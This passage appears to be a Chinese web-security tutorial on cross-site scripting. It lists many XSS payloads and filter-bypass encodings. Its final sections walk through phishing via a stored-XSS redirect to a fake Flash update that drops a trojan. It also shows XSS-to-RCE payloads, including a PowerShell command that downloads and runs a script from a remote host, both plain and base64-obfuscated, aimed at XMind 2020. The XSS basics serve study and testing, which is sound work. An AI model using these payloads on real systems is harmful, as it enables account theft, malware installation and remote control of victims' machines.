，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM
XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面，如果这些函数在引用某些变量时没有进行过滤或检查，就会产生DOM型的XSS。DOM型XSS可能是存储型，也有可能是反射型。
## 一些常用的标签与属性
下面我列举的标签大部分是可以自动触发js代码的，无需用户去交互，大部分情况下我们也是希望是自动触发而不是等用户去触发。
### scirpt 标签
`<script>` 标签用于定义客户端脚本，比如 JavaScript。
<script>alert(1);</script>
<script>alert("xss");</script>
### img 标签
`<img>` 标签定义 HTML 页面中的图像。
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
### input 标签
`<input>` 标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生：
<input onfocus=alert(1);>
竞争焦点，从而触发onblur事件：
<input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 `<input>`
元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：
<input onfocus="alert(1);" autofocus>
### details 标签
`<details>` 标签通过提供用户开启关闭的交互式控件，规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭
`<details>` 元素时触发：
<details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件，无需用户去点击即可触发：
<details open ontoggle=alert(1);>
### svg 标签
`<svg>` 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
### select 标签
`<select>` 标签用来创建下拉列表。
<select onfocus=alert(1)></select>
通过autofocus属性规定当页面加载时元素应该自动获得焦点，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：
<select onfocus=alert(1) autofocus>
### iframe 标签
`<iframe>` 标签会创建包含另外一个文档的内联框架。
<iframe onload=alert(1);></iframe>
### video 标签
`<video>` 标签定义视频，比如电影片段或其他视频流。
<video><source onerror=alert(1)>
### audio 标签
`<audio>` 标签定义声音，比如音乐或其他音频流。
<audio src=x onerror=alert(1);>
### body 标签
`<body>` 标签定义文档的主体。
<body onload=alert(1);>
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus，当用户滑动滚动条的时候自动触发，无需用户去点击触发：
<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
### textarea 标签
`<textarea>` 标签定义一个多行的文本输入控件。
<textarea onfocus=alert(1); autofocus>
### keygen 标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
### marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不行，火狐和IE都可以
### isindex 标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE
## 利用 link 远程包含 JavaScript 文件
`<link>` 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用：
<link rel=import href="http://47.xxx.xxx.72/evil.js">
## 利用 JavaScript 伪协议
`javascript:`
这个特殊的协议类型声明了URL的主体是任意的javascript代码，它由javascript的解释器运行。当浏览器装载了这样的URL时，并不会转向某个URL，而是执行这个URL中包含的javascript代码，并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
### a 标签
<a href="javascript:alert(1);">xss</a>
### iframe 标签
<iframe src=javascript:alert(1);></iframe>
### img 标签
<img src=x onerror=alert(1)>
<img src=javascript:alert(1)> //IE7以下
### form 标签
<form action="Javascript:alert(1)"><input type=submit>
# XSS 常见绕过姿势
## 绕过空格过滤
当空格被过滤了时，我们可以用 `/` 来代替空格：
<img/src="x"/onerror=alert(1);>
也可以：
<img/src="x"onerror=alert(1);>
## 绕过引号过滤
如果是html标签中，我们可以不用引号。如果是在js中，我们可以用反引号代替单双引号：
<img src=x onerror=alert(`xss`);>
## 绕过括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
## 绕过关键字过滤
### 大小写绕过
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
### 双写绕过
有些waf可能会只替换一次且是替换为空，这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
### 字符串拼接绕过
#### 利用eval()函数
与PHP的eval()函数相同，JavaScript的eval()函数也可以计算 JavaScript 字符串，并把它作为脚本代码来执行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中，我们可以用反引号代替单双引号
#### 利用top
<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>
## XSS 输出点总结
WAF最大的问题，在于不知道输出的位置，导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。
### 输出在属性里
例如输出的位置位于value属性中：
<input value="[输出]" type=text>
我们可以选择直接闭合标签：
"><img src=x onerror=alert(1);>
// 输出后如下:
// <input value=""><img src=x onerror=alert(1);>" type=text>
如果 `< >` 被过滤的话可以换成选择使用事件来闭合属性，并将后面的引号注释掉或闭合：
" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) "
// 输出后如下:
// <input value="" autofocus onfocus=alert(1)//" type=text>
同样还有很多其他的payload：
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
还有一些特殊的场景，如：
<input type="hidden" value="[输出]" />
<input value="[输出点]" type="hidden"/>
这里只能把input标签闭合，然后直接执行脚本，否则会因为type为hidden导致无法执行脚本。
### 输出在HTML标签之间
例如输出的位置如下：
<div id="body">[输出]</div>
直接提交 `<script>alert(1)</script>` 即可触发XSS，但是当标签是不能执行脚本的标签时，如下面这几个：
* `<title></title>`
* `<textarea></textarea>`
* `<xmp></xmp>`
* `<iframe></iframe>`
那么就得先把那个标签闭合（后文会讲到原理），然后在注入XSS语句，例如：
</textarea><script>alert(1)</script>
### 输出在script标签之间
例如：
<script>
var x = "input";
</script>
可控位置在input，可以闭合script标签插入代码，但是同样我们仅仅闭合双引号就可以执行js代码了：
";alert(1)//
// 输出后如下:
// <script>var x = "";alert(1)//";</script>
# XSS 字符编码绕过
在XSS中，还有一个绕过关键字过滤的方法，那就是字符编码绕过。这里给出一个编码网站：<https://bianma.bmcx.com/>
编码属于计算机系统的基础知识，其内容写起来估计也可以出本书了，不过或多或少我们都有所了解，总的来说，编码就是将字符变为二进制数，而解码就是将二进制数还原为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程，下面大概介绍一下流程。
## 请求网页解码流程
* **HTML 编码/解码**
当浏览器接收到服务端发送来的二进制数据后，首先会对其进行HTML解码，呈现出来的就是我们看到的源代码。具体的解码方式依具体情况而定，所以我们需要在页面中指定编码，防止浏览器按照错误的方式解码，造成乱码。
但是在HTML中有些字符是和关键词冲突的，比如
`<`、`>`、`&`，解码之后，浏览器会误认为它们是HTML标签，如果希望正确地显示预留字符，就需要在HTML中使用对应的HTML字符实体。
字符实体是一个转义序列，它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开头，后面跟着一个预定义的实体的名称，或用&#开头+实体编号+分号来表示。
常见的HTML字符实体有：
显示结果 | 描述 | 实体名称 | 实体编号
---|---|---|---
| 空格 | ` ` | ` `
< | 小于号 | `<` | `<`
> | 大于号 | `>` | `>`
& | 和号 | `&` | `&`
" | 引号 | `"` | `"`
' | 撇号 | `'`(IE不支持) | `'`
但并不是所有的字符都有实体名称，但是它们都有自己的实体编号。
一个HTML解析器作为一个状态机，它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中，任何时候它只要遇到一个 `<` 符号（后面没有跟
`/`符号）就会进入 **标签开始状态(Tag open state)** ，然后转变到 **标签名状态(Tag name state)** 、
**前属性名状态(before attribute name state)** ......最后进入 **数据状态(Data state)**
并释放当前标签的token。当解析器处于 数据状态(Data state) 时，它会继续解析，每当发现一个完整的标签，就会释放出一个token。
简单的说就是，浏览器对HTML解码之后就开始解析HTML文档，将众多标签转化为内容树中的DOM节点，此时识别标签的时候，HTML解析器是无法识别那些被实体编码的内容的，只有建立起DOM树，才能对每个节点的内容进行识别，如果出现实体编码，则会进行实体解码，只要是DOM节点里属性的值，都可以被HTML编码和解析。
所以在PHP中，使用htmlspecialchars()函数把预定义的字符转换为HTML实体，只有等到DOM树建立起来后，才会解析HTML实体，起到了XSS防护作用。
* **URL 解码**
URL编码是为了允许URL中存在汉字这样的非标准字符，本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。
在服务端接收到请求时，会自动对请求进行一次URL解码。
* **JavaScript 解码（只支持Unicode）**
当HTML解析产生DOM节点后，会根据DOM节点来做接下来的解析工作，比如在处理诸如 `<script>`、`<style>`
这样的标签时，解析器会自动切换到JavaScript解析模式，而 `src`、 `href` 后边加入的 javascript 伪URL，也会进入
JavaScript 的解析模式。
比如 `<a href="javascript:alert('\u0031')">test</a>`，JavaScript 出发了 JavaScript
解释器，JavaScript 会先对内容进行解析，里边有一个转义字符`\u0031`，前导的 u 表示他是一个unicode
字符，根据后边的数字，解析为“1”，于是在完成 JavaScript 的解析之后变成了 `<a
href="javascript:alert('1')">test</a>`。
**下面用一个普通的XSS代码来说明一下浏览器对其解析的过程。**
* `<a href="javascript:alert('xss')">test</a>`
首先HTML解析器开始工作，并对href中的字符做HTML解码，接下来URL解析器对href值进行解码，正常情况下URL值为一个正常的URL链接，如：`https://www.baidu.com`，那么URL解析器工作完成后是不需要其他解码的，但是该环境中URL资源类型为Javascript，因此该环境中最后一步Javascript解析器还会进行解码操作，最后解析的脚本将被执行。
整个解析顺序为3个环节：HTML解码 —>URL解码 —>JS解码
我们可以对XSS攻击向量做这三种编码都可以成功弹框。
## HTML 实体编码
我们可以将DOM节点中的内容转化为HTML实体，因为解析HTML之后建立起节点，然后会对DOM节点里面的HTML实体进行解析。HTML
编码主要分为10进制和16进制，格式为以 `&#` 开头以分号 `;` 结尾（也可以不带分号）。
* `<a href=javascript:alert("xss")>test</a>`
// 十进制
<a href=javascript:alert("xss")>test</a>
// 十六进制
<a href=javascript:alert("xss")>test</a>
// 也可以不带分号
<a href=javascript:alert("xss")>test</a>
* `<img src=x onerror=alert("xss")>`
// 十进制
<img src=x onerror=alert("xss")>
// 十六进制
<img src=x onerror=alert("xss")>
// 也可以不带分号
<img src=x onerror=alert("xss")>
但是要注意，对于HTML字符实体，并不是说任何地方都可以使用实体编码，只有处于 “数据状态中的字符引用”、“属性值状态中的字符引用” 和
“RCDATA状态中的字符引用” 这三种状态中的HTML字符实体将会从 `&#…` 形式解码，转化成对应的解码字符并被放入数据缓冲区中。
**（1）数据状态中的字符引用：** 数据状态就是解析一个标签内里面的内容，如 `<div>...</div>` 中的内容，当浏览器解析完 `<div>`
标签之后如果发现标签内还含有实体字符的话，就会有一个实体编码解析了，如：
<div><img src=x onerror=alert("xss")></div>
如下图，此时在页面上显示的是经过转义的内容：
这看上去是一个标准的标签语言，但并不会触发xss，因为当前HTML解析器处于“数据状态”，不会转换到“标签开始状态”，所以就不会建立新的标签。因此，我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”而不是XSS攻击向量。
**（2）属性值状态中的字符引用：**
属性值状态中的字符引用就好理解了，就是src，herf这样的属性值中的HTML实体，他也是会先进行HTML解码的，比如下面的语句，会先对里面HTML解码，然后再继续往下执行：
<a href=javascript:alert("xss")>test</a>
**（3）RCDATA状态中的字符引用：** 然后再来看一下什么是RCDATA转态，这里需要我们先了解一下HTML中有五类元素：
1. 空元素(Void elements)，如 `<area>`、`<br>`、`<base>` 等等。空元素不能容纳任何内容，因为它们没有闭合标签，没有内容能够放在开始标签和闭合标签中间。
2. 原始文本元素(Raw text elements)，有 `<script>` 和 `<style>`。原始文本元素可以容纳文本。
3. RCDATA元素(RCDATA elements)，有 `<textarea>` 和 `<title>`。RCDATA元素可以容纳文本和字符引用。
4. 外部元素(Foreign elements)，例如MathML命名空间或者SVG命名空间的元素。外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释。
5. 基本元素(Normal elements)，即除了以上4种元素以外的元素。基本元素可以容纳文本、字符引用、其他元素和注释。
注意到RCDATA元素中有 `<textarea>` 和 `<title>`
两个属性并且有字符引用，也就是当实体字符出现在这两个标签里面的时候，实体字符会被识别并进行HTML编码解析。这里要再提醒一次，在解析这些字符引用的过程中不会进入“标签开始状态”，所以就不会建立新的标签，所以下面这个语句触发不了XSS：
<textarea><script>alert("xss")</script></textarea>
但是如果直接放进去标签的内容呢，不带转义字符呢，如下：
<textarea><script>alert("xss")</script></textarea>
同样也是不会触发XSS的：
这涉及到了RCDATA的一个特殊的情况。即在浏览器解析RCDATA元素的过程中，解析器会进入“RCDATA状态”。在这个状态中，如果遇到“<”字符，它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名，解析器会转换回“RCDATA状态”，并不会进入“标签开始状态”的。这意味着在RCDATA元素标签的内容中，唯一能够被解析器认做是标签的就只有
`</textarea>` 或者 `</title>`，因此，在 `<textarea>` 和 `<title>`
的内容中不会创建标签，就不会有脚本能够执行了。
另外还有一点要注意：我们从上面HTML的五类元素中还发现有一个原始文本元素 `<script>`
在这个标签内容纳的是文本，所以浏览器在解析到这个标签后，里面内容中的HTML编码并不会被认为是HTML实体引用，所以并不会被解码为相应的字符。浏览器看不懂中间这堆编码是和啥东西，所以也不会被执行，如下：
<script>alert("xss")</script>
那么如何才能让里面的内容进行转义并执行弹窗呢，这里需要利用到XSS的一个黑魔法——“svg”，我们下文中会提及。
## URL编码
我们可以并将src或href属性中的内容进行URL编码，当HTML解析器对src或href中的字符完成HTML解码后，接下来URL解析器会对src或href中的值进行URL解码。
<a href="...">xx</a>
<iframe src="...">
下面给出几个实例。
* `<a href=javascript:alert("xss")>test</a>`
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
* `<iframe src=javascript:alert("xss")></iframe>`
<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>
注意，伪协议头 `javascript:`
是不能进行编码的。这里就有一个URL解析过程中的一个细节了，即不能对协议类型进行任何的编码操作，否则URL解析器会认为它无类型，就会导致DOM节点中被编码的“javascript”没有被解码，当然不会被URL解析器识别了。就比如说
`http://www.baidu.com` 可以被URL编码为
`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d`，但是不能把协议也进URL编码：`%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d`
。
但是伪协议头 `javascript:` 可以进行HTML编码。
## Javascript 编码
我们可以将DOM节点中的内容转化为 Javascript 编码。当HTML解析产生DOM节点后，会根据DOM节点来做接下来的解析工作，比如在处理诸如
`<script>`、`<style>` 这样的标签时，解析器会自动切换到JavaScript解析模式，而 `src`、 `href` 后边加入的
javascript 伪URL，也会进入 JavaScript 的解析模式。
Javascript 中可以识别的编码类型有：
* Unicode 编码
* 八进制编码
* 十六进制编码
一般情况下我们使用Unicode编码的比较广泛，而八进制和十六进制只有在DOM环境或eval()等函数中才可以用。
### Unicode 编码
* `<script>alert("xss")</script>`
<script>\u0061\u006C\u0065\u0072\u0074("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>
* `<a href=javascript:alert("xss")>test</a>`
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>
但要注意，我们同样也不能对伪协议头 `javascript:` 进行 Javascript 编码。并且像圆括号、双引号、单引号这样的符号我们也不能进
Javascript 编码，但是能进行HTML编码。
### 在DOM环境中的JavaScript编码
对于八进制编码和十六进制编码，与 Unicode 编码还是有区别，像下面的XSS向量是不能直接执行的：
* `<script>alert("xss")</script>`
<script>\141\154\145\162\164("xss")</script>
* `<a href=javascript:alert("xss")>test</a>`
<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>
如下图，插入之后没有任何反应：
要想让他们能够执行我们要将他们放在DOM环境中，即DOM型的XSS。
测试代码：
<div id='s'>test</div>
<script>
var search = "...";
document.getElementById('s').innerHTML = search;
</script>
以上情况很多都是出现在你搜索后，显示你所查询的关键字，变量 `search` 是一个可控点，当我们查询一个XSS攻击向量后，变量 `search`
就会被赋值为这个XSS向量，从而插入到div标签中触发XSS，如下所示：
<div id='s'>test</div>
<script>
var search = "<iframe src=javascript:alert('xss')></iframe>";
document.getElementById('s').innerHTML = search;
</script>
此时如果过滤了 `<`、`>`、`'`、`"`、`&`、`%` 等等这些字符的话，我们便可以用JavaScript编码的方法将XSS向量全部编码，即
`<iframe src=javascript:alert('xss')></iframe>` 的以下编码都可以弹窗：
// Unicode编码
\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E
// 八进制编码
\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76
// 十六进制编码
\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e
还有一种让八进制和十六进制编码的XSS攻击向量执行的方式便是将XSS向量放在某个能把字符串当做JavaScript代码来执行的函数里，比如eval()、setTimeout()、setInterval()等函数。如下示例：
* `<script>alert("xss")</script>`
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>
* `<a href=javascript:alert("xss")>test</a>`
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>
* `<img src=x onerror=alert("xss")>`
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
或者也可以直接将一整段js代码编码后放入eval()函数中执行。
## 混合编码
**混合编码就是对一个XSS向量同时进行多种编码，如下示例：**
* `<a href=javascript:alert("xss")>test</a>`
// 对javascript:进行HTML编码, 对alert("xss")进行URL编码
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
// 对javascript:进行HTML编码, 对alert进行Unicode编码
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
**也可以利用解码顺序进行混合编码，如下示例：**
* `<a href=javascript:alert("xss")>test</a>`
首先对“alert”进行JavaScript Unicode编码：
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
然后再对 `\u0061\u006c\u0065\u0072\u0074` 进行URL编码：
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
最后对标签中的 `javascript:%5c%75...%37%34("xss")` 整体进行HTML编码即可：
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
## SVG：XSS的一个黑魔法
我们在上文HTML编码那里最后留了一个坑，即HTML的五类元素中，像 `<script>`、`<style>`
这样的原始文本元素在这个标签内容纳的是文本，所以浏览器在解析到这个标签后，里面内容中的HTML编码并不会被认为是HTML实体引用，所以并不会被解码为相应的字符。
也就是说，向下面这样的代码，浏览器不会对其中的HTML实体字符进行解码，也就不会执行并触发XSS了：
<script>alert("xss")</script>
<script>alert(1)</script>
<script>alert(1)</script>
那如何绕过HTML原始文本元素进而执行HTML实体解码呢，这涉及到了 `<svg>`
的魔力，那是一种特殊的触发效果，单纯script标签内加载html实体编码，只会当做文本，没有任何触发结果，如下图：
但是当在前面加上 `<svg>` 后，却成功弹窗了：
<svg><script>alert("xss")</script>
<svg><script>alert(1)</script>
<svg><script>alert(1)</script>
这是为什么呢？
是因为 `<svg>` 标签属于HTML五大元素中的外部元素，可以容纳文本、字符引用、CDATA段、其他元素和注释，也就是说在解析到`<svg>`
标签时，浏览器就开始使用一套新的标准开始解析后面的内容，直到碰到闭合标签`</svg>`。而在这一套新的标准遵循XML解析规则，在XML解析中，实体编码会自动解码成相应的字符，重新来一遍标签开启状态，此时就会执行XSS了。如下图，弹窗后我们查看页面源码。发现原本不能被HTML解码的内容被
`<svg>` 标签自动解码了：
[[CISCN2019
华东北赛区]Web2](https://whoamianony.top/2020/11/30/Web%E5%AE%89%E5%85%A8/XSS%E4%B8%8ECSRF%E7%B1%BBCTF%E4%BE%8B%E9%A2%98/#CISCN2019-%E5%8D%8E%E4%B8%9C%E5%8C%97%E8%B5%9B%E5%8C%BA-Web2%EF%BC%88%E8%8E%B7%E5%8F%96%E7%AE%A1%E7%90%86%E5%91%98cookie%EF%BC%89)
这道题运用的就是这个知识点。
# XSS 测试流程思路
下面让我们来看一下XSS绕过的测试流程。
现实中，大多数的场所是用的黑名单来做XSS过滤器的，有三种方式绕过黑名单的测试：
1. 暴力测试（输入大量的payload，看返回结果）
2. 根据正则推算
3. 利用浏览器bug
## 初步测试
（1）尝试插入比较正常的HTML标签，例如：`<a>`、`<b>`、`<i>`、`<u>`
等，来看一下返回页面的情况是怎样的，是否被HTML编码了，或者标签被过滤了。
（2）尝试插入不闭合的标签，例如：`<a`、`<b`、`i>`、`u>`、`<img` 等，然后看一下返回响应，是否对开放的标签也有过滤。
（3）然后测试几种常见的XSS向量：
<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
......
看返回响应，是过滤的全部，还是只过滤了部分，是否还留下了 alert、prompt、confirm 等字符，再尝试大小写的组合：
<scRiPt>alert(1);</scrIPt>
（4）如果过滤器仅仅是把 `<script>` 和 `</script>` 标签过滤掉，那么可以用双写的方式来绕过：
<scr<script>ipt>alert(1)</scr<script>ipt>
这样当 `<script>` 标签被过滤掉后，剩下的组合起来刚好形成一个完整的向量。
（5）用 `<a href` 标签来测试，看返回响应
<a href="http://www.baidu.com">click</a>
看看 `<a` 标签是否被过滤，href 是否被过滤，href里的数据是否被过滤了。如果没有数据被过滤，插入javascript伪协议看看：
<a href="javascript:alert(1)">click</a>
看是否返回错误，javascript的整个协议内容是否都被过滤掉，还是只过滤了javascript字符。
继续测试事件触发执行javascript：
<a href=x onmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被过滤。
测试一个无效的事件，看看他的过滤规则：
<a href=x onclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢，还是跟onmouseover一样被干掉了。如果是完整的返回的话，那么就意味着，做了事件的黑名单，但是在HTML5中，有超过150种的方式来执行javascript代码的事件，我们可以选用别的事件。测试一个很少见的事件：
<body onhashchange=alert(1)><a href=#>click</a>
> onhashchange 事件在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发 。
## 测试其他标签和属性
HTML的标签和属性太多了，上文中已经列出了很多了。
# XSS 攻击面拓展
## 利用 XSS 钓鱼
### 通过 XSS 盗取 Cookie
Cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制，且是由服务器提供的、存储在客户端的一种数据。同时，对于cookie的操作十分的方便，我们可以通过Document对象访问Cookie。最简单的比如：`<script>alert(document.cookie)</script>`
，执行后会弹出当前页面的cookie信息。在目标没有“同源策略”的保护下，我们可以利用XSS盗取目标网站管理员的Cookie。
在一般的通用CMS下呢，为了通用模板的兼容性，许多CMS本身不会使用“同源策略”等其他手段来防护XSS漏洞，而是使用自建的过滤函数来处理，在这种情况下，一旦出现XSS漏洞，我们就可以直接获取目标的Cookie然后使用特定的方法来传输cookie。
这里，我们可以利用网上现成的或自己搭建的XSS平台来完成利用过程。
### Flash 弹窗钓鱼
之前看过很多大佬使用XSS漏洞弹出Flash的更新页面进行钓鱼的操作。今天我们终于有机会来演示一下了。
其原理就是通过XSS漏洞，弹出Flash更新请求诱使用户点击，使用户跳转到设置好的钓鱼页面（伪造好的Flash更新页面），下载伪造的Flash组件（木马程序）并执行，最终实现反弹Shell上线CS，完成钓鱼攻击。下面我们搭建环境进行演示。
**实验环境：**
主机环境：
* 攻击机kali：192.168.0.182
* 受害机：192.168.0.125
工具环境：
* WeBug4.0
* Flash 官网源码
**（1）制作 CS 捆绑木马**
这里我们选择制作WinRAR自解压捆绑木马，将 CS
木马与真正的Flash更新程序捆绑在一起，详情参考我的文章：[《钓鱼攻击：制作WinRAR自解压捆绑木马进行钓鱼攻击》](https://whoamianony.top/2021/01/27/渗透测试/钓鱼攻击/钓鱼攻击：利用WinRAR自解压捆木马进行钓鱼攻击/)
**（2）搭建Flash钓鱼页面**
首先我们需要在kali上搭建一个钓鱼页面，需要下载Flash官方页面的源码进行修改。这里有两个项目可以选择：
* 项目一地址：<https://github.com/Wileysec/adobe-flash-phishing-page>
该项目是模仿的 Flash Player 中文官网的页面：
需要在index.html中的加入我们制作的木马的链接地址：
* 项目二地址：<https://github.com/r00tSe7en/Flash-Pop>
该项目是一个逼真的Flash更新提醒的弹窗，强迫症都会忍不住去点击下载的：
我们这里使用第二种方法，点击“立即升级”的这个按钮点击会下载我们提前准备好的 CS 木马。如果管理员以为自己的 Flash
版本过低的话，可能会下载并运行这个木马。
找到flash.js，搜索链接“<https://www.se7ensec.cn/”，将其改为我们制作的木马的链接地址，然后保存即可：>
然后将伪造的Flash页面搭建在攻击机kali的Web服务上：
**（3）插入 XSS 攻击向量**
访问目标网站：
在最下方发现一个留言板：
经测试存在XSS漏洞，我们插入一下payload：
<script>window.location.href="http://192.168.0.182";</script>
这样，当用户再次访问该页面或管理员在后台查看评论时，就会将页面劫持到我们所伪造的钓鱼页面上：
当受害者强迫症忍不住去点击“立即升级”时，就会下载我们所准备好的 CS 捆绑木马：
如果受害者以为自己的 Flash 版本过低的话，就可能会运行这个木马。如下图所示，受害者主机成功上线：
## XSS to RCE
为了大大提升 XSS 的危害，我们可以利用 JavaScript 来执行系统命令。
### 使用 WScript.Shell 执行系统命令
WScript.Shell（Windows Script Host Runtime
Library）是一个对象，对应的文件是C:/WINDOWS/system32/wshom.ocx，Wscript.shell是服务器系统会用到的一种组件。4这个对象可以执行操作系统外壳常用的操作，比如运行程序、读写注册表、环境变量等。简单使用如下：
var shell = new ActiveXObject("WScript.Shell");
shell.run("calc.exe");
有时候为了 Bypass 也可以使用 `String.fromCharCode` 从 Ascii 来转化恶意代码：
<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">
### 使用 child_process 执行系统命令
如果目标环境启用了 NodeJS 的话，我们也可以利用 NodeJS 的子进程（child_process）调用并执行系统命令：
<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})">
<img src=x onerror="require('child_process').exec('calc');">
<img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">
能执行系统命令了，那么 XSS 在钓鱼攻击中的作用便大大提高了，我们完全可以利用 XSS 反弹 Shell 并上线 Metasploit 或 CS
。请继续往下看。
### Xmind 2020 XSS 漏洞
XMind 是一款专业的全球领先的商业思维导图软件，在国内使用广泛，拥有强大的功能、包括思维管理、商务演示、与办公软件协同工作等功能。它采用全球先进的
Eclipse RCP 软件架构，是集思维导图与头脑风暴于一体的可视化思考工具，能用来捕捉想法、理清思路、管理复杂信息并促进团队协作。 XMind
思维导图软件曾被著名互联网媒体 Lifehacker 评选为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。
2021年5月10日，被爆 Xmind 2020 中存在 XSS 漏洞，攻击者可以借助该漏洞实现命令执行，在实际环境中借助钓鱼攻击可能造成更严重的危害。
漏洞利用很简单，在 “思维导图” 中输出 Payload：
<img src=x onerror=alert('xss')>
切换到 “大纲” 中，按下一个功能键即可触发攻击：
由于 Xmind 启用了 NodeJS 功能，所以我们可以利用 child_process 调用并执行系统命令。这和蚁剑的 XSS 导致 RCE
原理如出一辙：<https://www.heibai.org/post/1152.html>
同时我们可以利用这一点进行钓鱼，让受害机上线 Metasploit 或 CS。
首先使用 CS 生成钓鱼使用的 PowerShell 脚本：
点击 Launch 后生成攻击命令：
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"
即：
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');
为了更好地 Bypass，我们可以将 payload 进行 base64 转化一下，最终的 Payload 如下：
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'>
如下图所示，受害机成功上线：
